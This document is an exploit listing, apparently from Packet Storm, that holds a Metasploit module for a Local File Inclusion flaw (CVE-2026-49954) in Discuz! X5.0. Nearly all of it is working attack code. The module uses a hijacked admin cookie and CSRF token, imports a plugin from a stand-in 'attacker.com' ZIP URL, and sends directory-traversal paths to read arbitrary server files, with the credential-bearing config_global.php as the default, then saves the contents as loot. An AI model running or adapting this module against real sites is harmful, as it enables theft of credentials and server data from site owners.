Share
## https://sploitus.com/exploit?id=PACKETSTORM:223698
==================================================================================================================================
    | # Title     : Discuz! X5.0 LFI Metasploit Module                                                                               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.discuz.vip/                                                                                          |
    ==================================================================================================================================
    
    [+] Summary    : This is a Metasploit auxiliary module targeting a Local File Inclusion vulnerability in Discuz! X5.0.
    
    [+] POc        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Discuz! X5.0 Local File Inclusion via enable_disable.php',
            'Description' => %q{
              A Local File Inclusion (LFI) vulnerability exists in the Discuz! plugin management
              functionality within /source/app/admin/child/plugins/enable_disable.php.
    
              When enabling or disabling a plugin, the application includes a file whose path is
              derived from plugin metadata stored in the database. Due to insufficient validation
              of the plugin's directory attribute during the import process, an administrator can
              import a specially crafted plugin configuration containing Directory Traversal sequences.
    
              By additionally triggering an exception during plugin installation, the sanitization
              routine can be bypassed, causing malicious paths to be stored unsanitized and
              subsequently passed to the vulnerable include() call.
    
              This module exploits the vulnerability to read arbitrary files from the target system
              using an authenticated administrator session.
    
              Tested successfully on Discuz! X5.0 releases 20260320 through 20260610.
            },
            'Author' => ['indoushka'],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-49954'],
              ['URL', 'https://karmainsecurity.com/pocs/discuz_rce.zip'],
              ['URL', 'https://gitee.com/Discuz/DiscuzX/issues/IJLFUW']
            ],
            'DisclosureDate' => '2026-06-15',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path to Discuz! installation', '/']),
            OptString.new('COOKIE_NAME', [true, 'Cookie name for authentication', 'PHPSESSID']),
            OptString.new('COOKIE_VALUE', [true, 'Cookie value for authentication', '']),
            OptString.new('CSRF_TOKEN', [true, 'CSRF token (formhash) from admin session', '']),
            OptString.new('FILE_PATH', [true, 'Path of file to read', 'config/config_global.php']),
            OptInt.new('TRAVERSAL_DEPTH', [false, 'Path traversal depth (default: 5)', 5])
          ]
        )
      end
      def run
        print_status("Starting Discuz! X5.0 Local File Inclusion Exploit")
        print_status("CVE-2026-49954 - enable_disable.php LFI")
        cookie = "#{datastore['COOKIE_NAME']}=#{datastore['COOKIE_VALUE']}"
        print_status("Step 1: Importing malicious plugin configuration")
        traversal = "../" * datastore['TRAVERSAL_DEPTH']
        malicious_dir = "#{traversal}#{datastore['FILE_PATH']}"
        import_url = normalize_uri(target_uri.path, 'admin.php')
        post_data = {
          'action' => 'plugins_import',
          'formhash' => datastore['CSRF_TOKEN'],
          'plugin_zip_url' => 'http://attacker.com/malicious_plugin.zip'  # Hosted attacker-controlled ZIP
        }
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => import_url,
            'cookie' => cookie,
            'vars_post' => post_data
          })
          if res.nil?
            print_error("No response from server for plugin import")
            return
          end
          if res.code == 200 && res.body.include?('success')
            print_good("Plugin imported successfully")
          else
            print_warning("Plugin import may have failed, continuing anyway...")
          end
        rescue ::Rex::ConnectionError => e
          print_error("Connection error: #{e.message}")
          return
        end
        print_status("Step 2: Triggering vulnerable include via enable_disable.php")
        enable_disable_url = normalize_uri(target_uri.path, 'source', 'app', 'admin', 'child', 'plugins', 'enable_disable.php')
        trigger_data = {
          'operation' => 'enable',
          'dir' => malicious_dir,
          'formhash' => datastore['CSRF_TOKEN']
        }
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => enable_disable_url,
            'cookie' => cookie,
            'vars_post' => trigger_data
          })
          if res.nil?
            print_error("No response from server for enable/disable trigger")
            return
          end
          if res.body && res.body.length > 0
            file_content = extract_file_content(res.body)
            if file_content && !file_content.empty?
              print_good("Successfully read file: #{datastore['FILE_PATH']}")
              print_line("\n" + "=" * 60)
              print_line(file_content)
              print_line("=" * 60 + "\n")
              loot_path = store_loot(
                'discuz.file',
                'application/octet-stream',
                rhost,
                file_content,
                File.basename(datastore['FILE_PATH']),
                "File read from Discuz!: #{datastore['FILE_PATH']}"
              )
              print_good("File saved to: #{loot_path}")
              report_vuln(
                host: rhost,
                port: rport,
                name: self.name,
                refs: references
              )
            else
              print_error("Failed to extract file content from response")
            end
          else
            print_error("Empty response from enable_disable.php")
          end
        rescue ::Rex::ConnectionError => e
          print_error("Connection error: #{e.message}")
          return
        end
      end
      def extract_file_content(response_body)
        if response_body.include?('<?php')
          content = response_body
          content = content.gsub(/<[^>]*>/, '')
          return content.strip
        else
          return response_body.strip if response_body.length > 100
        end
        nil
      end
      def rhost
        datastore['RHOST']
      end
      def rport
        datastore['RPORT']
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================